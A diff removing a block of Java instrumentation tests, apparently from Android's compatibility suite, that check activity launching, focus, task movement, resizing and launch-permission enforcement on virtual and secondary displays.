- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
- // Check that activity is launched in focused stack on external display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused", SECOND_PACKAGE_NAME,
- SECOND_ACTIVITY_NAME);
- int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME),
- frontStack.mResumedActivity);
-
- // Launch other activity with different uid and check if it has launched successfully.
- final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
- executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
- + " --ei display_id " + newDisplay.mDisplayId
- + " --es target_activity " + THIRD_ACTIVITY_NAME
- + " --es package_name " + THIRD_PACKAGE_NAME);
- mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
-
- // Check that activity is launched in focused stack on external display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused", THIRD_PACKAGE_NAME,
- THIRD_ACTIVITY_NAME);
- frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- frontStack = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME),
- frontStack.mResumedActivity);
- }
-
- /**
- * Tests launching an activity on virtual display and then launching another activity that
- * doesn't allow embedding - it should fail with security exception.
- */
- public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
- LAUNCHING_ACTIVITY);
-
- final String logSeparator = clearLogcat();
-
- // Launch second activity from app on secondary display specifying same display id.
- getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NO_EMBEDDING_NAME)
- .setTargetPackage(SECOND_PACKAGE_NAME)
- .setDisplayId(newDisplay.mDisplayId).execute();
-
- assertSecurityException("ActivityLauncher", logSeparator);
- }
-
- /**
- * Tests launching an activity to secondary display from activity on primary display.
- */
- public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Start launching activity.
- launchActivity(LAUNCHING_ACTIVITY);
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
- .build();
-
- // Launch activity on secondary display from the app on primary display.
- getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME)
- .setDisplayId(newDisplay.mDisplayId).execute();
-
- // Check that activity is launched on external display.
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- TEST_ACTIVITY_NAME);
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- final ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
- }
-
- /**
- * Tests launching activities on secondary and then on primary display to see if the stack
- * visibility is not affected.
- */
- @Presubmit
- public void testLaunchActivitiesAffectsVisibility() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Start launching activity.
- launchActivity(LAUNCHING_ACTIVITY);
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
- // Launch activity on primary display and check if it doesn't affect activity on secondary
- // display.
- getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
- mAmWmState.waitForValidState(mDevice, RESIZEABLE_ACTIVITY_NAME);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
- mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
- }
-
- /**
- * Test that move-task works when moving between displays.
- */
- @Presubmit
- public void testMoveTaskBetweenDisplays() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
- VIRTUAL_DISPLAY_ACTIVITY);
- // The default display id for a 2d activity launch is vr virtual display for a vr headset.
- int displayId = getCurrentDefaultDisplayId();
- final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
- ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(defaultDisplayStackId);
- assertEquals("Focus must remain on the correct display", displayId,
- focusedStack.mDisplayId);
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertFocusedActivity("Focus must be on secondary display", TEST_ACTIVITY_NAME);
- int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
- focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
- assertEquals("Focused stack must be on secondary display",
- newDisplay.mDisplayId, focusedStack.mDisplayId);
-
- // Move activity from secondary display to primary.
- moveActivityToStack(TEST_ACTIVITY_NAME, defaultDisplayStackId);
- mAmWmState.waitForFocusedStack(mDevice, defaultDisplayStackId);
- mAmWmState.assertFocusedActivity("Focus must be on moved activity", TEST_ACTIVITY_NAME);
- focusedStackId = mAmWmState.getAmState().getFocusedStackId();
- focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
- assertEquals("Focus must return to primary display", displayId,
- focusedStack.mDisplayId);
- }
-
- /**
- * Tests launching activities on secondary display and then removing it to see if stack focus
- * is moved correctly.
- * This version launches virtual display creator to fullscreen stack in split-screen.
- */
- @Presubmit
- public void testStackFocusSwitchOnDisplayRemoved() throws Exception {
- if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
-
- // Start launching activity into docked stack.
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
-
- tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
- FULLSCREEN_WORKSPACE_STACK_ID);
- }
-
- /**
- * Tests launching activities on secondary display and then removing it to see if stack focus
- * is moved correctly.
- * This version launches virtual display creator to docked stack in split-screen.
- */
- public void testStackFocusSwitchOnDisplayRemoved2() throws Exception {
- if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
-
- // Setup split-screen.
- launchActivityInDockStack(RESIZEABLE_ACTIVITY_NAME);
-
- // Start launching activity into fullscreen stack.
- launchActivityInStack(LAUNCHING_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
-
- tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
- FULLSCREEN_WORKSPACE_STACK_ID);
- }
-
- /**
- * Tests launching activities on secondary display and then removing it to see if stack focus
- * is moved correctly.
- * This version works without split-screen.
- */
- public void testStackFocusSwitchOnDisplayRemoved3() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Start an activity on default display to determine default stack.
- launchActivity(BROADCAST_RECEIVER_ACTIVITY);
- final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
- // Finish probing activity.
- executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-
- tryCreatingAndRemovingDisplayWithActivity(false /* splitScreen */, focusedStackId);
- }
-
- /**
- * Create a virtual display, launch a test activity there, destroy the display and check if test
- * activity is moved to a stack on the default display.
- */
- private void tryCreatingAndRemovingDisplayWithActivity(boolean splitScreen, int defaultStackId)
- throws Exception {
- // Create new virtual display.
- final VirtualDisplayBuilder builder = new VirtualDisplayBuilder(this)
- .setPublicDisplay(true);
- if (splitScreen) {
- builder.setLaunchInSplitScreen(true);
- }
- final DisplayState newDisplay = builder.build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- if (splitScreen) {
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
- }
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertFocusedActivity("Focus must be on secondary display",
- TEST_ACTIVITY_NAME);
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
- // Destroy virtual display.
- destroyVirtualDisplays();
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME, defaultStackId);
- mAmWmState.assertSanity();
- mAmWmState.assertValidBounds(true /* compareTaskAndStackBounds */);
-
- // Check if the focus is switched back to primary display.
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
- mAmWmState.assertFocusedStack(
- "Default stack on primary display must be focused after display removed",
- defaultStackId);
- mAmWmState.assertFocusedActivity(
- "Focus must be switched back to activity on primary display",
- TEST_ACTIVITY_NAME);
- }
-
- /**
- * Tests launching activities on secondary display and then removing it to see if stack focus
- * is moved correctly.
- */
- public void testStackFocusSwitchOnStackEmptied() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.assertFocusedActivity("Focus must be on secondary display",
- BROADCAST_RECEIVER_ACTIVITY);
-
- // Lock the device, so that activity containers will be detached.
- sleepDevice();
-
- // Finish activity on secondary display.
- executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-
- // Unlock and check if the focus is switched back to primary display.
- wakeUpAndUnlockDevice();
- mAmWmState.waitForFocusedStack(mDevice, focusedStackId);
- mAmWmState.waitForValidState(mDevice, VIRTUAL_DISPLAY_ACTIVITY);
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
- VIRTUAL_DISPLAY_ACTIVITY);
- }
-
- /**
- * Tests that input events on the primary display take focus from the virtual display.
- */
- public void testStackFocusSwitchOnTouchEvent() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
- mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY});
- mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
- VIRTUAL_DISPLAY_ACTIVITY);
-
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- TEST_ACTIVITY_NAME);
-
- final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
- final int width = displayMetrics.getWidth();
- final int height = displayMetrics.getHeight();
- executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
-
- mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY});
- mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
- VIRTUAL_DISPLAY_ACTIVITY);
- }
-
- /** Test that shell is allowed to launch on secondary displays. */
- public void testPermissionLaunchFromShell() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
- VIRTUAL_DISPLAY_ACTIVITY);
- final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- // The default display id for a 2d activity launch is vr virtual display for a vr headset.
- int displayId = getCurrentDefaultDisplayId();
- ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
- assertEquals("Focus must remain on the correct display", displayId,
- focusedStack.mDisplayId);
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertFocusedActivity("Focus must be on secondary display",
- TEST_ACTIVITY_NAME);
- final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
- assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
- focusedStack.mDisplayId);
-
- // Launch other activity with different uid and check it is launched on dynamic stack on
- // secondary display.
- final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME
- + " --display " + newDisplay.mDisplayId;
- executeShellCommand(startCmd);
-
- mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
- mAmWmState.assertFocusedActivity("Focus must be on newly launched app", SECOND_PACKAGE_NAME,
- SECOND_ACTIVITY_NAME);
- assertEquals("Activity launched by system must be on external display",
- externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
- }
-
- /** Test that launching from app that is on external display is allowed. */
- public void testPermissionLaunchFromAppOnSecondary() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
- .build();
-
- // Launch activity with different uid on secondary display.
- final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
- final String displayTarget = " --display " + newDisplay.mDisplayId;
- executeShellCommand(startCmd + displayTarget);
-
- mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
- mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
- SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
- final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(externalFocusedStackId);
- assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
- focusedStack.mDisplayId);
-
- // Launch another activity with third different uid from app on secondary display and check
- // it is launched on secondary display.
- final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
- final String targetActivity = " --es target_activity " + THIRD_ACTIVITY_NAME
- + " --es package_name " + THIRD_PACKAGE_NAME
- + " --ei display_id " + newDisplay.mDisplayId;
- final String includeStoppedPackagesFlag = " -f 0x00000020";
- executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
- + targetActivity + includeStoppedPackagesFlag);
-
- mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
- mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
- THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME);
- assertEquals("Activity launched by app on secondary display must be on that display",
- externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
- }
-
- /** Tests that an activity can launch an activity from a different UID into its own task. */
- public void testPermissionLaunchMultiUidTask() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
- .build();
-
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- // Check that the first activity is launched onto the secondary display
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- ActivityManagerState.ActivityStack frontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityComponentName(LAUNCHING_ACTIVITY),
- frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
- // Launch an activity from a different UID into the first activity's task
- getLaunchActivityBuilder()
- .setTargetPackage(SECOND_PACKAGE_NAME)
- .setTargetActivityName(SECOND_ACTIVITY_NAME).execute();
-
- mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
- frontStack = mAmWmState.getAmState().getStackById(frontStackId);
- mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
- SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
- assertEquals("Secondary display must contain 1 task", 1, frontStack.getTasks().size());
- }
-
- /**
- * Test that launching from display owner is allowed even when the the display owner
- * doesn't have anything on the display.
- */
- public void testPermissionLaunchFromOwner() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
- VIRTUAL_DISPLAY_ACTIVITY);
- final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
- assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
- focusedStack.mDisplayId);
-
- // Launch other activity with different uid on secondary display.
- final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
- final String displayTarget = " --display " + newDisplay.mDisplayId;
- executeShellCommand(startCmd + displayTarget);
-
- mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
- mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
- SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
- final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
- assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
- focusedStack.mDisplayId);
-
- // Check that owner uid can launch its own activity on secondary display.
- final String broadcastAction = componentName + ".LAUNCH_BROADCAST_ACTION";
- executeShellCommand("am broadcast -a " + broadcastAction + " -p " + componentName
- + " --ez launch_activity true --ez new_task true --ez multiple_task true"
- + " --ei display_id " + newDisplay.mDisplayId);
-
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
- mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
- assertEquals("Activity launched by owner must be on external display",
- externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
- }
-
- /**
- * Test that launching from app that is not present on external display and doesn't own it to
- * that external display is not allowed.
- */
- public void testPermissionLaunchFromDifferentApp() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
- VIRTUAL_DISPLAY_ACTIVITY);
- final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- // The default display id for a 2d activity launch is vr virtual display for a vr headset.
- int displayId = getCurrentDefaultDisplayId();
- ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
- assertEquals("Focus must remain on the correct display", displayId,
- focusedStack.mDisplayId);
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertFocusedActivity("Focus must be on secondary display",
- TEST_ACTIVITY_NAME);
- final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
- assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
- focusedStack.mDisplayId);
-
- final String logSeparator = clearLogcat();
-
- // Launch other activity with different uid and check security exception is triggered.
- final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
- final String includeStoppedPackagesFlag = " -f 0x00000020";
- executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
- + " --ei display_id " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
-
- assertSecurityException("LaunchBroadcastReceiver", logSeparator);
-
- mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
- mAmWmState.assertFocusedActivity(
- "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
- assertEquals("Focused stack must be on secondary display's stack",
- externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
- }
-
- private void assertSecurityException(String component, String logSeparator) throws Exception {
- int tries = 0;
- boolean match = false;
- final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
- while (tries < 5 && !match) {
- String[] logs = getDeviceLogsForComponent(component, logSeparator);
- for (String line : logs) {
- Matcher m = pattern.matcher(line);
- if (m.matches()) {
- match = true;
- break;
- }
- }
- tries++;
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- }
- }
-
- assertTrue("Expected exception not found", match);
- }
-
- /**
- * Test that only private virtual display can show content with insecure keyguard.
- */
- public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() throws Exception {
- if (!supportsMultiDisplay()) {
- return;
- }
-
- // Try to create new show-with-insecure-keyguard public virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this)
- .setPublicDisplay(true)
- .setCanShowWithInsecureKeyguard(true)
- .setMustBeCreated(false)
- .build();
-
- // Check that the display is not created.
- assertNull(newDisplay);
- }
-
- /**
- * Test that all activities that were on the private display are destroyed on display removal.
- */
- // TODO: Flaky, add to presubmit when b/63404575 is fixed.
- public void testContentDestroyOnDisplayRemoved() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new private virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
- // Launch activities on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
- mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
- launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
- mAmWmState.assertFocusedActivity("Launched activity must be focused",
- RESIZEABLE_ACTIVITY_NAME);
-
- // Destroy the display and check if activities are removed from system.
- final String logSeparator = clearLogcat();
- destroyVirtualDisplays();
- final String activityName1
- = ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
- final String activityName2
- = ActivityManagerTestBase.getActivityComponentName(RESIZEABLE_ACTIVITY_NAME);
- final String windowName1
- = ActivityManagerTestBase.getWindowName(TEST_ACTIVITY_NAME);
- final String windowName2
- = ActivityManagerTestBase.getWindowName(RESIZEABLE_ACTIVITY_NAME);
- mAmWmState.waitForWithAmState(mDevice,
- (state) -> !state.containsActivity(activityName1)
- && !state.containsActivity(activityName2),
- "Waiting for activity to be removed");
- mAmWmState.waitForWithWmState(mDevice,
- (state) -> !state.containsWindow(windowName1)
- && !state.containsWindow(windowName2),
- "Waiting for activity window to be gone");
-
- // Check AM state.
- assertFalse("Activity from removed display must be destroyed",
- mAmWmState.getAmState().containsActivity(activityName1));
- assertFalse("Activity from removed display must be destroyed",
- mAmWmState.getAmState().containsActivity(activityName2));
- // Check WM state.
- assertFalse("Activity windows from removed display must be destroyed",
- mAmWmState.getWmState().containsWindow(windowName1));
- assertFalse("Activity windows from removed display must be destroyed",
- mAmWmState.getWmState().containsWindow(windowName2));
- // Check activity logs.
- assertActivityDestroyed(TEST_ACTIVITY_NAME, logSeparator);
- assertActivityDestroyed(RESIZEABLE_ACTIVITY_NAME, logSeparator);
- }
-
- /**
- * Test that the update of display metrics updates all its content.
- */
- @Presubmit
- public void testDisplayResize() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
- // Launch a resizeable activity on new secondary display.
- final String initialLogSeparator = clearLogcat();
- launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
- mAmWmState.assertFocusedActivity("Launched activity must be focused",
- RESIZEABLE_ACTIVITY_NAME);
-
- // Grab reported sizes and compute new with slight size change.
- final ReportedSizes initialSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
- initialLogSeparator);
-
- // Resize the docked stack, so that activity with virtual display will also be resized.
- final String logSeparator = clearLogcat();
- executeShellCommand(getResizeVirtualDisplayCommand());
-
- mAmWmState.waitForWithAmState(mDevice, amState -> {
- try {
- return readConfigChangeNumber(RESIZEABLE_ACTIVITY_NAME, logSeparator) == 1
- && amState.hasActivityState(RESIZEABLE_ACTIVITY_NAME, STATE_RESUMED);
- } catch (Exception e) {
- logE("Error waiting for valid state: " + e.getMessage());
- return false;
- }
- }, "Wait for the configuration change to happen and for activity to be resumed.");
-
- mAmWmState.computeState(mDevice, new String[] {RESIZEABLE_ACTIVITY_NAME,
- VIRTUAL_DISPLAY_ACTIVITY}, false /* compareTaskAndStackBounds */);
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true);
- mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true);
-
- // Check if activity in virtual display was resized properly.
- assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY_NAME, 0 /* numRelaunch */,
- 1 /* numConfigChange */, logSeparator);
-
- final ReportedSizes updatedSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
- logSeparator);
- assertTrue(updatedSize.widthDp <= initialSize.widthDp);
- assertTrue(updatedSize.heightDp <= initialSize.heightDp);
- assertTrue(updatedSize.displayWidth == initialSize.displayWidth / 2);
- assertTrue(updatedSize.displayHeight == initialSize.displayHeight / 2);
- }
-
- /** Read the number of configuration changes sent to activity from logs. */
- private int readConfigChangeNumber(String activityName, String logSeparator) throws Exception {
- return (new ActivityLifecycleCounts(activityName, logSeparator)).mConfigurationChangedCount;
- }
-
- /**
- * Tests that when an activity is launched with displayId specified and there is an existing
- * matching task on some other display - that task will moved to the target display.
- */
- public void testMoveToDisplayOnLaunch() throws Exception {
- if (!supportsMultiDisplay()) { return; }
-
- // Launch activity with unique affinity, so it will the only one in its task.
- launchActivity(LAUNCHING_ACTIVITY);
-
- // Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
- // Launch something to that display so that a new stack is created. We need this to be able
- // to compare task numbers in stacks later.
- launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
-
- final int taskNum = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
- .getTasks().size();
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
- final int taskNumOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
- .getTasks().size();
-
- // Launch activity on new secondary display.
- // Using custom command here, because normally we add flags Intent#FLAG_ACTIVITY_NEW_TASK
- // and Intent#FLAG_ACTIVITY_MULTIPLE_TASK when launching on some specific display. We don't
- // do it here as we want an existing task to be used.
- final String launchCommand = "am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY)
- + " --display " + newDisplay.mDisplayId;
- executeShellCommand(launchCommand);
- mAmWmState.waitForActivityState(mDevice, LAUNCHING_ACTIVITY, STATE_RESUMED);
-
- // Check that activity is brought to front.
- mAmWmState.assertFocusedActivity("Existing task must be brought to front",
- LAUNCHING_ACTIVITY);
- mAmWmState.assertResumedActivity("Existing task must be resumed", LAUNCHING_ACTIVITY);
-
